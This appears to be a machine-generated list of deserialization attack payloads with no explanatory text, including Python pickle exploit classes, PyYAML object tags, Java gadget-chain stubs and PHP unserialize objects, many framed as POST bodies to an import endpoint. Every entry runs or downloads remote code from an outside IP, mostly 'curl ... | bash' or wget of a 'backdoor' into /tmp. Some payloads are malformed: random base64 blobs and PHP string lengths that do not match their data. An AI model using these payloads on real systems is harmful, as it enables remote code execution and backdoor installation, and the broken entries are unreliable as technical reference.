// Target: system("id && wget http://160.85.175.120/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('uupxWbA3agXbNpzAr51zjoi+bHOlknCLiTqG1Q0siIZu02i4XELgBsT+Rw2n')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://242.10.111.105/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://207.148.135.58/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://40.22.250.116/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://183.13.211.6/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('yooBwvgGZnv2tJsI5YFoxDs/DLiHFtIcWmGPw9K04BA2SJjcA6I5dogxp8nZ')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://129.31.142.183/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:74:"CKUEJuaHUhchypysQVNvEXK09e0Qmz7uuRGxQdhh";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://26.156.212.225/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://177.194.159.78/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('brubAcYhYEwJJ3P38g0Pt7FcKCygOzTZD0i5ZVEYnPcXhzqgttYMEHX3Dyet')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://199.45.149.173/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('nOmtVZRUl6ICuPBYjPVOkDCpdYPUigSsyRjwd8wi6nzZ6MLno5aLUfdCNHnf')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://95.216.122.148/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://121.103.106.8/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://129.231.187.194/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://121.240.225.218/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('822M5xiBsZhszOYe3YAKwoTQEpUZ4q2sjik2zUDygvFOyCXb50oZgoKtzi72')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://50.23.173.131/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://169.231.143.56/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://60.246.2.158/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://13.202.203.210/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://107.128.117.121/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://139.188.120.32/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://15.255.241.53/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://88.185.195.149/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://118.106.162.222/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('09PvmiQnPT/suY22VwKe04KH0y4/20n/udbZMhGO4bzncaFNsZlfnS4gIUaB')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://76.71.119.142/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://180.40.13.53/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://235.240.147.221/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('dcBm4zgoo+x4UH51gie51Hnpsj+iw7wxIBYqY8LIRE9Ncpkvg3DNLeVlGR7t')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://134.174.79.134/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('xeabdK68bHHUOEl4F3lzzFLOZ6Fb+1rMlTg9Rr22fW8YaA1aMLuJPiw5r6yr')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://102.243.182.12/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://7.186.41.110/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://240.226.144.80/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://48.180.103.137/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://45.148.129.18/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://108.52.153.181/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('fKS55JWbpLNVc0OzM4RgquHd6hy/SoeasX/UPM2SJpWWpr8aX5y8Alzaq07p')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://116.226.174.48/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://53.229.65.73/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://230.126.100.34/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://156.121.164.78/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://241.137.221.62/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://51.184.24.11/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('Y/onxMzsCKqLfVE87XtzbsY4SaeRCzfXjG9NCCB5gQsmhngthlFbYeuWsycy')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://21.144.255.75/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:49:"8r/Y6tgTZKoOLtCRFG7MaWnRuRB3AL0ioFMPituo";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://207.55.177.82/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('VoH0MJOLiCb/LtSY3/hXDy8DbUj8Db8KlUkStEgG9TbQiLcmtvFTN24ZEdHH')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://23.254.241.114/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('qQL+1qu6qkqKDsRFwSNhnYBxd5WIAmbQE6Gr3btXkm6qgyeXmhDOvCDV1vC9')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://28.211.183.10/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:29:"iRlHQHiKf/c2L8DyVPl4o+QUrVxQSukn88t1yzqK";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://72.130.52.132/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://27.111.187.231/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('9LbhrKx746cOsavvGDt2VATQzV92A+1CCd1Vd8QmD45nZzy+PO4ymF+2IHI+')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://254.137.9.175/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://171.60.8.98/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://144.176.189.41/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:60:"Z0/ovWdYa+kSo8HuqsXa0d/AMNIGzx0v1yT1NDex";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://199.43.224.10/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('gPuZunXSsZ8g3XxUgVUf0LSWMg5Mxs5fLRResVys+oOiskgohWMZrQ8IrHC/')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://44.233.237.137/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://169.28.112.140/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('gWJTnTSikvaeUsMtqEaa99tvHq7FTPx3eTa3rw70jGDyEAJu9koVxxJ8Tlo7')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://79.160.117.205/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('LFC+HCqTNj44hgPeMMSrd7vtp5ZJB+9trydbU5QAnXURU/c/KSuIurY8Qmb2')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://57.192.81.126/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('dFtoebunSLDmkJ1UOtqqqKwPcmeU9akDj2HU0zU+fJ4+Lc93soVF0kOM9Qb9')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://47.131.229.1/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:61:"0tbBdhl7uWb8Him1ARIhroLc8RdscjcBxJVc66Gw";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://234.207.44.244/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('2HJ6SZN87YDqzQCH+yGCGLqc8YrZHy909nIDRJWqyEURkOoQw73DySUxG3Tp')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://178.243.57.57/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:36:"ZVJzqaVK0EgjmwFg1vC+gGCkf7QTMdvia6uTe1sC";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://167.84.225.71/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:63:"j7ldJDs83Bb6WXra+HTbqiVNER/L/V29T2UYsbFv";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://58.47.92.192/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://28.214.245.177/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://129.249.37.179/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:60:"1nVjC6ICUHmrHJEhxFWjvgDD9pj3Z4utyg0oYEdD";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://153.173.16.199/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://100.17.205.122/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('lewKGoWQRN16fKTo2FQRFgDTJRIMA1Luk9ltBoEywo9knY8k1KKpFsoIxKU3')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://139.1.32.87/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:28:"oyTKOhFmkOyhvEHxdb70EHwIQFYkselFqIKO77+y";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://252.38.123.252/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:79:"AweaZOX6xQbM3BjgDu6aDpdscOzlXCS1dC9Ubc6z";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://1.20.123.30/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://170.114.177.172/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://217.186.244.113/backdoor', '-O', '/tmp/bd']